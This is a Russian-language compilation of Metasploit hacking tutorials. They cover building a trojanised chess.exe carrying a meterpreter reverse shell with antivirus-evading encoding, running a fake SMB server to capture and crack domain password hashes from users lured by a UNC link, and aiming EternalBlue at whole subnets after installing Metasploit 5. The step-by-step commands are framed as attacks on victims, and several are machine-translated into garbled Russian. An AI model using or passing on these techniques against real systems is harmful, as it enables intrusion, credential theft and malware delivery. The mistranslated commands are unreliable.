  • -p обозначает полезную нагрузку Metasploit, которую мы хотим использовать
  • -e обозначает кодировщик, который мы хотим использовать
  • -a обозначает архитектуру, которую мы хотим использовать (по умолчанию x86)
  • -s обозначает максимальный размер полезной нагрузки
  • -i обозначает количество итераций, с помощью которых будет кодироваться полезная нагрузка
  • -x обозначает пользовательский исполняемый файл для использования в качестве шаблона
Шаг 3: Перечислите кодировщиков

Кодировщики — это различные алгоритмы и схемы кодирования, которые Metasploit может использовать для перекодирования полезной нагрузки. Таким образом, мы можем скрыть её назначение. Metasploit предлагает множество схем кодирования, и мы можем посмотреть их, выполнив команду:

msf > msfvenom -l кодировщики

Затем Metasploit выведет список всех доступных кодеров с указанием рейтинга и описания каждого.

6a4a49_e720ff9d2c034c05a79850b49301436c~mv2.png
6a4a49_dbb55063533c4f5381586d44d387c5c1~mv2.png
6a4a49_7fcd3886cfe54f328bcb44b493c91584~mv2.png


Я обвёл кодировщик shikata_ga_nai и заметил, что skikata_ga_nai получил оценку «отлично». «Shikata ga nai» — это выражение из японской культуры,
которое можно примерно перевести как «с этим ничего не поделаешь». Вот такой кодировщик я бы хотел использовать!

Шаг 4: Параметры платформы

В терминологии msfvenom платформа — это, в общем, операционная система или язык сценариев, за некоторыми исключениями, такими как Netware. При создании нашей пользовательской полезной нагрузки мы должны создавать её специально для целевой операционной системы. Чтобы увидеть список всех возможных целевых платформ, введите:

msf5 > msfvenom -l платформы

6a4a49_cea0b9e969ac40168f1b5be41f218c7a~mv2.png


Обратите внимание, что здесь представлены практически все операционные системы: от AIX до Android, от Linux до OSX, Windows и практически все остальные. При создании нашей пользовательской полезной нагрузки нам необходимо выбрать правильную целевую платформу для достижения успеха.

При создании собственной полезной нагрузки мы можем использовать синтаксис –platform <targetplatform> для указания целевой платформы.

Шаг 5: Форматы

Теперь давайте посмотрим, какие форматы может принимать наша полезная нагрузка. Их список можно получить, введя:

msf > msfvenom -l форматы

6a4a49_e69b344361974d918b68c896ff6dd553~mv2.png


Как видите, это исполняемые форматы. Если прокрутить немного вниз, можно увидеть форматы преобразования.

6a4a49_21da56d548af4876ad9ddfc541bcfb6f~mv2.png


При создании собственной полезной нагрузки мы будем использовать параметр -f и указывать формат.

Шаг 6: Просмотр параметров полезной нагрузки

Мы можем использовать msfvenom для проверки параметров, которые необходимо установить для любой полезной нагрузки, аналогично команде «show options» в консоли Metasploit. Команда для проверки параметров любой полезной нагрузки:

msf > msfvenom -p <имя полезной нагрузки> –payload-options

Итак, если мы хотим проверить параметры полезной нагрузки для полезной нагрузки windows/meterpreter/reverse_tcp , мы просто вводим:

msf >msfvenom -p windows/meterpreter/reverse_tcp –payload-options

Когда мы это делаем, Metasploit отвечает следующим образом.

6a4a49_b2aadb8a658d489b9cd1e667189a97ba~mv2.png
6a4a49_a95f289848bb46e1b246c6813ca79a47~mv2.png


Теперь, если мы хотим работать с этой полезной нагрузкой, мы знаем, какие параметры нужно задать в команде msfvenom. В этом случае мы можем принять все значения по умолчанию, но нужно задать LHOST .

Шаг 7: Создайте пользовательский исполняемый файл Windows

Теперь создадим исполняемый файл Windows с использованием шаблона. Хотя мы можем создать полезную нагрузку без шаблона, с помощью шаблона у нас больше шансов обойти устройства безопасности и антивирусную защиту. В данном случае мы будем использовать шахматную игру под названием «chess.exe». Идея заключается в том, что мы встроим полезную нагрузку meterpreter в шахматную игру, и когда жертва откроет игру, чтобы сыграть в шахматы, она откроет сеанс meterpreter на своём компьютере и подключится к нашей системе.

Я поместил шахматную игру в каталог /usr/share в моей системе Kali.

Чтобы создать вредоносный исполняемый файл со встроенным windows/meterpreter/reverse_tcp , мы просто вводим:

msf > msfvenom -p windows/meterpreter/reverse_tcp LHOST= <ваш локальный IP> LPORT=<любой порт, который вы хотите прослушивать> -x /usr/share/chess.exe -e x86/shikata_ga_nai -i 200 -f exe >chess.exe


6a4a49_6480e5999c2b41edb3d64361d1d0d4ff~mv2.png


Где:

  • -p /windows/meterpreter/reverse_tcp обозначает полезную нагрузку, которую мы хотим внедрить
  • LHOST обозначает локальный хост
  • LPORT обозначает порт, который мы хотим прослушивать
  • -x обозначает шаблон, который мы хотим использовать, и путь к нему
  • -e x86/shikata_ga_nai обозначает кодировщик, который мы хотим использовать
  • -i 200 представляет количество итераций
  • -f exe обозначает, что мы хотим создать исполняемый файл (.exe)
  • chess.exe обозначает имя создаваемого файла
Обратите внимание, что на скриншоте выше я обвёл вывод с надписью «Архив не выбран». В msfvenom по умолчанию используется архитектура x86, поэтому, если мы хотим создать полезную нагрузку x86, нам не нужно ничего добавлять. Конечно, если мы хотим создать полезную нагрузку x64, нам нужно добавить « -a x64 » к нашей команде.

Теперь нам нужно отправить chess.exe в цель.

Когда жертва нажимает на файл chess.exe, активируется полезная нагрузка meterpreter, которая
попытается установить обратное соединение с вашей системой (LHOST).

Для успешного подключения вам необходимо открыть многопользовательский обработчик в Metasploit для приема подключения.

msf >использовать эксплойт/мульти/обработчик msf > установить полезную нагрузку windows/meterpreter/reverse_tcp

Заключение


Новая команда Metasploit, msfvenom, может упростить процесс перекодирования и встраивания полезных данных. Она отлично подходит для встраивания полезных данных в различные программы, но больше не гарантирует обход антивирусных программ.
 
В предыдущих уроках серии «Основы Metasploit» мы узнали, как использовать hashdump для извлечения хешей паролей из локальной системы. В разделе «Взлом паролей с помощью Hashcat» вы узнали, как взламывать эти хеши с помощью Hashcat.

6a4a49_6cbdeff5901b4f90ae8bc0dee794121c~mv2.gif


В каждом из этих случаев хэши паролей представляли собой пароли пользователей локальной системы, а не домена. Если система входит в домен (что характерно для большинства корпораций и крупных организаций), пароли, скорее всего, хранятся на контроллере домена (DC). Как получить пароли домена, не атакуя защищённый контроллер домена?

Одна из наиболее мощных функций Metasploit — это возможность создания поддельного SMB-сервера . Это означает, что при попытке доступа к SMB-серверу система должна будет предоставить учётные данные в виде хеша пароля домена. В крупных сетях часто используется система, которая систематически подключается к каждой машине, чтобы проверить наличие обновлений и безопасность. При этом она должна предоставить свои учётные данные каждой системе, и обычно это будет пароль администратора. Если проявить терпение, это может оказаться оптимальной стратегией.

Кроме того, настроив этот поддельный SMB-сервер, мы сможем перехватывать учётные данные домена при попытке пользователей пройти аутентификацию. Мы могли бы отправить целевой странице встроенный UNC-путь, и когда пользователь нажмёт на него, мы могли бы перехватить учётные данные домена.

В отличие от некоторых других наших атак Metasploit, эта не является ни эксплойтом, ни полезной нагрузкой. Это вспомогательный модуль, способный захватить хеш в формате, который можно взломать с помощью Cain and Abel, очень мощного, но медленного взломщика паролей для Windows, или John the Ripper, вероятно, старейшего взломщика паролей, всё ещё представленного на рынке.

Шаг 1: Запустите Kali и Metasploit

Давайте начнем с запуска Kali и откроем один из моих любимых хакерских инструментов, Metasploit, введя:

kali > msfconsole

6a4a49_cd3bad64a94648eabfff27b3eb65ac2b~mv2.png


Когда мы это делаем, нас встречает очень знакомый экран-заставка Meatsploit.

6a4a49_697ec25701f44a0286b77168344cd532~mv2.png


Шаг 2: Настройка SMB-сервера

Теперь, когда Metasploit открыт, давайте настроим поддельный SMB-сервер. В отличие от некоторых других наших атак Metasploit, эта не является ни эксплойтом, ни полезной нагрузкой, а скорее вспомогательным модулем. Запустить её можно, введя:

msf > использовать вспомогательный/сервер/захват/smb

6a4a49_2f4ce41b1d9445cf9f7a337a1f4be1e6~mv2.png


Теперь, когда мы загрузили этот модуль, давайте рассмотрим параметры, которые нам необходимо настроить для использования этого модуля.

msf >показать параметры

6a4a49_d59a9bb115884d6e9e99152c06737b03~mv2.png


Как видите, этот модуль имеет множество опций, но мы можем оставить настройки по умолчанию для каждой из них, за исключением типа файла для хранения хешей для взлома.

Обратите внимание, я выделил выше параметр JOHNPWFILE. Также на самом верху есть параметр CAINPWFILE. Эти параметры позволяют определить формат файла, в котором хранятся хеши для взлома Каином и Авелем или Иоанном Потрошителем. В этом руководстве я буду использовать последний инструмент.

Для этого мне просто нужно указать этому модулю «установить» JOHNPWFILE в определенном месте, введя:

msf > set JOHNPWFILE /root/domainhashes

Теперь осталось только «эксплуатировать».

msf > эксплуатировать

6a4a49_bd1427ce323f413d9fbc97ff04b89752~mv2.png


Когда мы набираем «exploit», этот модуль запускает поддельный SMB-сервер, который будет сохранять предоставленные учетные данные в каталоге /root в файлах, начинающихся с «johnhashes».

Шаг 3: Поделиться

Теперь, когда наш SMB-сервер запущен, нам нужно, чтобы кто-то попытался войти в наш общий ресурс. Мы можем сделать это, отправив UNC-ссылку на наш общий ресурс, например:

net use \192.168.1.106occumptheweb

Когда они нажмут на эту ссылку, их учетные данные домена будут представлены нашему SMB-серверу и сохранены, как показано на снимке экрана ниже.

6a4a49_c81fd2d788f0499d8aa64f112f283f74~mv2.png


Шаг 4: Взломать хэш

Последний шаг — взломать хеши для получения пароля. Перейдите в каталог /root, чтобы найти сохранённые файлы хешей.

кали > cd /root

6a4a49_445143ce2e504cee9bf3de7a3caa74f6~mv2.png


Как видите, здесь хранятся два хеша. Чтобы их взломать, можно воспользоваться John the Ripper (он встроен в Kali), набрав:

kali > john johnhashes_netlmv2

6a4a49_1404626852d24fe0ad3038507873097f~mv2.jpg


Когда мы это сделаем, Джон Потрошитель загрузит хеш пароля, распознает тип хеша и начнёт его взлом. В зависимости от длины и сложности пароля, Джону потребуется от нескольких минут до нескольких дней, чтобы взломать хеш, но после этого вы получите пароль пользователя, перешедшего по вашей UNC-ссылке, и сможете полностью управлять компьютером
 
Добро пожаловать обратно, мои начинающие кибервоины Metasploit!

6a4a49_66b3fa7335fb4f54bd8054e72dc282d2~mv2.png


Недавно Rapid7, разработчики самого популярного в мире фреймворка для эксплуатации уязвимостей Metasploit, выпустили совершенно новую версию! Прошло почти 8 лет с момента выхода Metasploit 4, и это случилось как нельзя кстати!

Rapid7 внесла несколько важных изменений в Metasploit, чтобы сделать его более простым в использовании, более легким в расширении, более легким в обходе антивирусной защиты — и все это без изменения внешнего вида и функций нашего любимого инструмента для эксплуатации уязвимостей!

В этом руководстве мы загрузим и установим Metasploit 5 в Kali, а затем рассмотрим некоторые ключевые улучшения в Metasploit.

Установка Загрузка и установка Metasploit5 в Kali

Последним релизом Kali была версия Kali 2018.4, вышедшая в октябре 2018 года. В Kali 2018.4 по-прежнему использовался старый Metasploit 4, и на данный момент не выпущено ни одной новой версии Kali с Metasploit 5. В результате вам, скорее всего, потребуется вручную установить Metasploit, если вы хотите запустить Metasploit 5 на Kali.

Мы можем использовать команду curl , чтобы загрузить его непосредственно из репозитория Metasploit.

Кали > локон https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msffinalinstall

6a4a49_b477956c59ad4bc8b210b5ef08a17a72~mv2.png
После завершения загрузки дайте себе разрешение на ее выполнение с помощью chmod .

Кали > chmod 755 msffinalinstall

И затем выполните скрипт.

кали > ./msffinalinstall

6a4a49_a3633f9ed09540b89817a9a2fe4fa66d~mv2.png


После завершения работы скрипта запустите Metasploit тем же способом, что и обычно, введя:

kali > msfconsole

6a4a49_900e80b105e34da3a34e5e5c5c4e3afb~mv2.png


Вы сразу заметите, насколько быстрее загружается Metasploit 5 (подробнее об этом ниже).

Как вы можете видеть на снимке экрана выше, Metasploit 5 по-прежнему использует тот же/похожий экран-заставку, но с двумя заметными изменениями.

Во-первых, Rapid7 добавил новый тип модуля «уклонение».

Во-вторых, новый Metasploit использует приглашение « msf5 >» .

За исключением этих двух исключений, Metasploit выглядит так же, но Rapid7 внесла несколько важных внутренних улучшений в Metasploit 5.

Новые функции в Metasploit 5

Помимо заметно более быстрой загрузки модулей msfconsole и Evasion, Rapid7 добавил в Metasploit 5 ряд новых функций, которые сделают вашу жизнь проще и продуктивнее. Среди наиболее интересных из этих новых функций:

Поиск

Функция поиска в Metasploit всегда была слабой. До выхода Metasploit 4 в 2011 году в Metasploit вообще не было функции поиска (знаю, трудно поверить!, но тогда Metasploit был гораздо меньше). В версии 5 Rapid 7 добавил дополнительную функцию поиска, упрощающую поиск нужного модуля.

Масштабная эксплуатация

Одно из нововведений, которое вы сразу заметите в Metasploit 5, — это возможность указать диапазон хостов или использовать CIDR-нотацию для тестирования всей подсети. Часто используемый параметр RHOST теперь имеет псевдоним RHOSTS (вы часто видели RHOSTS в качестве параметра во вспомогательных модулях), так что теперь можно использовать любой из них. Это упростит и ускорит тестирование целой подсети с помощью таких эксплойтов, как EternalBlue и других.

В качестве примера я загрузил эксплойт windows/smb/ms17_010_eternalblue в свой Metasploit 5. Когда я ввожу show options , вместо отображения параметра для RHOST он обозначается как RHOSTS .

msf5 > показать параметры

6a4a49_77e171b7201642ae84f3a43b3df88465~mv2.png


Затем я могу установить параметр RHOSTS для проверки всей подсети, например 192.168.1.0/24.

msf > установить RHOSTS 192.168.1.0/24

6a4a49_27557a178f624e179274b5398d4ae9dd~mv2.png


После настройки этого параметра, когда я снова вхожу в параметры показа, параметр RHOSTS устанавливается на тестирование всей подсети.

База данных

Начиная с Metasploit 4, Rapid7 разработала Metasploit для использования бэкэнд-базы данных на базе PostgreSQL. В Metasploit 5 добавлена возможность запуска базы данных как RESTful-сервиса. Это позволяет Metasploit:

1. выгрузить
массовые операции в базу данных;

2. обеспечивает параллельную обработку команд базы данных и msfconsole, тем самым повышая производительность;

3. взаимодействовать с несколькими консолями и внешними инструментами.

Кроме того, новый API JSON-RPC позволяет пользователям интегрировать собственные инструменты и языки.

Уклонение

В прошлом году Metasploit представил новый тип модулей — модули уклонения (в дополнение к традиционным модулям эксплойта, полезной нагрузки, вспомогательных, пост-модулей, кодировщиков и nops). Эти модули помогают нам разрабатывать собственные методы уклонения, которые добавляют мутации и разнообразие в шелл-код, затрудняя разработчикам антивирусной защиты написание эффективных сигнатур.

Мы можем найти модули уклонения так же, как и другие модули, используя функцию поиска в сочетании с type:evasion .

msf 5 > тип поиска:уклонение

6a4a49_c9db0a74af2046b7a01735f5ed3f64be~mv2.png


Модули Ruby, Python и Go

Изначально HD Moore написал Metasploit на Perl в 2003 году, а затем переписал его на Ruby в 2007 году. С 2007 года все модули Metasploit также должны были быть написаны на Ruby. С выходом новой версии Metasploit 5 фреймворк теперь поддерживает три языка: Python, Go и, конечно же, Ruby. Таким образом, дополнительные модули, которые было сложно портировать на Ruby, теперь будут поддерживаться непосредственно в Metasploit 5.

Заключение

6a4a49_66b3fa7335fb4f54bd8054e72dc282d2~mv2.png


Продолжайте заглядывать за новыми руководствами по новому и улучшенному Metasploit 5. Я подробнее расскажу о каждой из этих новых функций и модулей. Также ждите мою готовящуюся к выходу книгу «Основы Metasploit5 для хакеров», которая рассказывает о Metasploit 5 (единственная книга, посвящённая этому) со всеми его новыми возможностями.
 
Назад
Сверху Снизу